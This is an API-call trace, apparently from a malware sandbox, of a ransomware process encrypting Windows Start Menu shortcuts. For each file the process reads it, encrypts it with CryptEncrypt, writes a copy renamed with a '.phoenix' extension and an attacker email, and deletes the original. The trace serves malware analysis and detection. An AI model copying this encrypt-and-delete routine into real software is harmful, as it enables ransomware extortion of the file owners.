	[0267.895] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0267.895] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.895] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0267.895] CryptDestroyKey (hKey=0x151140) returned 1
	[0267.895] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0267.895] CryptDestroyKey (hKey=0x151780) returned 1
	[0267.895] CloseHandle (hObject=0x2c0) returned 1
	[0267.895] CloseHandle (hObject=0x2e4) returned 1
	[0267.895] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk")) returned 1
	[0267.895] SetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix", dwFileAttributes=0x25) returned 1
	[0267.896] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.896] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.897] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2174) returned 1
	[0267.897] CloseHandle (hObject=0x2e4) returned 1
	[0267.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk")) returned 0x20
	[0267.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.897] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.897] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.897] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.897] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.898] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0267.898] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.898] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x87e, lpOverlapped=0x0) returned 1
	[0267.936] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x880, dwBufLen=0x880 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x880) returned 1
	[0267.936] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x880, lpOverlapped=0x0) returned 1
	[0267.937] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0267.937] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.937] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0267.937] CryptDestroyKey (hKey=0x151780) returned 1
	[0267.937] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0267.937] CryptDestroyKey (hKey=0x151200) returned 1
	[0267.937] CloseHandle (hObject=0x2e4) returned 1
	[0267.937] CloseHandle (hObject=0x2c0) returned 1
	[0267.937] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk")) returned 1
	[0267.938] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.938] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.939] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2407) returned 1
	[0267.939] CloseHandle (hObject=0x2c0) returned 1
	[0267.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk")) returned 0x20
	[0267.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.939] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.939] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.939] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.939] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.940] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0267.940] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.940] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x967, lpOverlapped=0x0) returned 1
	[0268.011] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x970, dwBufLen=0x970 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x970) returned 1
	[0268.011] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x970, lpOverlapped=0x0) returned 1
	[0268.011] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0268.012] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0268.012] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0268.012] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0268.012] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0268.012] CryptDestroyKey (hKey=0x151100) returned 1
	[0268.012] CloseHandle (hObject=0x2c0) returned 1
	[0268.012] CloseHandle (hObject=0x2e4) returned 1
	[0268.012] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk")) returned 1
	[0268.013] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0268.013] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0268.013] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1120) returned 1
	[0268.013] CloseHandle (hObject=0x2e4) returned 1
	[0268.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk")) returned 0x20
	[0268.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.014] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0268.014] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0268.014] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0268.014] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0268.015] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0268.015] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0268.015] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x460, lpOverlapped=0x0) returned 1
	[0268.024] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x470, dwBufLen=0x470 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x470) returned 1
	[0268.024] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x470, lpOverlapped=0x0) returned 1
	[0268.025] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0268.025] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0268.025] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0268.025] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0268.025] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0268.025] CryptDestroyKey (hKey=0x151200) returned 1
	[0268.025] CloseHandle (hObject=0x2e4) returned 1
	[0268.025] CloseHandle (hObject=0x2c0) returned 1
	[0268.026] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk")) returned 1
	[0268.031] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0268.031] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0268.033] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2158) returned 1
	[0268.033] CloseHandle (hObject=0x2e4) returned 1
	[0268.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk")) returned 0x20
	[0268.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.038] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0268.038] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0268.038] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0268.038] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0268.054] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0268.054] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0268.054] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x86e, lpOverlapped=0x0) returned 1
	[0268.125] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x870, dwBufLen=0x870 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x870) returned 1
	[0268.126] WriteFile (in: hFile=0x304, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x870, lpOverlapped=0x0) returned 1
	[0268.126] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0268.126] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0268.126] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0268.126] CryptDestroyKey (hKey=0x151100) returned 1
	[0268.126] WriteFile (in: hFile=0x304, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0268.126] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0268.126] CloseHandle (hObject=0x2e4) returned 1
	[0268.127] CloseHandle (hObject=0x304) returned 1
	[0268.127] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk")) returned 1
	[0268.132] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0268.132] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0268.132] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1576) returned 1
	[0268.132] CloseHandle (hObject=0x308) returned 1
	[0268.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk")) returned 0x20
	[0268.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.133] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0268.133] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0268.133] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0268.133] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0268.134] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0268.134] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0268.134] ReadFile (in: hFile=0x308, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x628, lpOverlapped=0x0) returned 1
	[0268.192] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x630, dwBufLen=0x630 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x630) returned 1
	[0268.192] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x630, lpOverlapped=0x0) returned 1
	[0268.193] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0268.193] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0268.193] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60, dwBufLen=0x60 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60) returned 1
	[0268.193] CryptDestroyKey (hKey=0x151180) returned 1
	[0268.193] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x112, lpOverlapped=0x0) returned 1
	[0268.193] CryptDestroyKey (hKey=0x151780) returned 1
	[0268.193] CloseHandle (hObject=0x308) returned 1
	[0268.193] CloseHandle (hObject=0x2c4) returned 1
	[0268.194] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk")) 

Thread:
	id = 118
	os_tid = 0xe0c

	[0218.897] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x7d0098
	[0218.898] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x7e00a0
	[0218.898] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x28) returned 0x681220
	[0218.898] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x110102) returned 0x3096020
	[0218.901] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x50) returned 0x688f48
	[0218.901] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd58, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fdc0 | out: phKey=0x2e0fdc0*=0x1393a0) returned 1
	[0218.901] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0x2e0fda8, dwFlags=0x0) returned 1
	[0218.901] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688f48, pdwDataLen=0x2e0fd74 | out: pbData=0x688f48, pdwDataLen=0x2e0fd74) returned 1
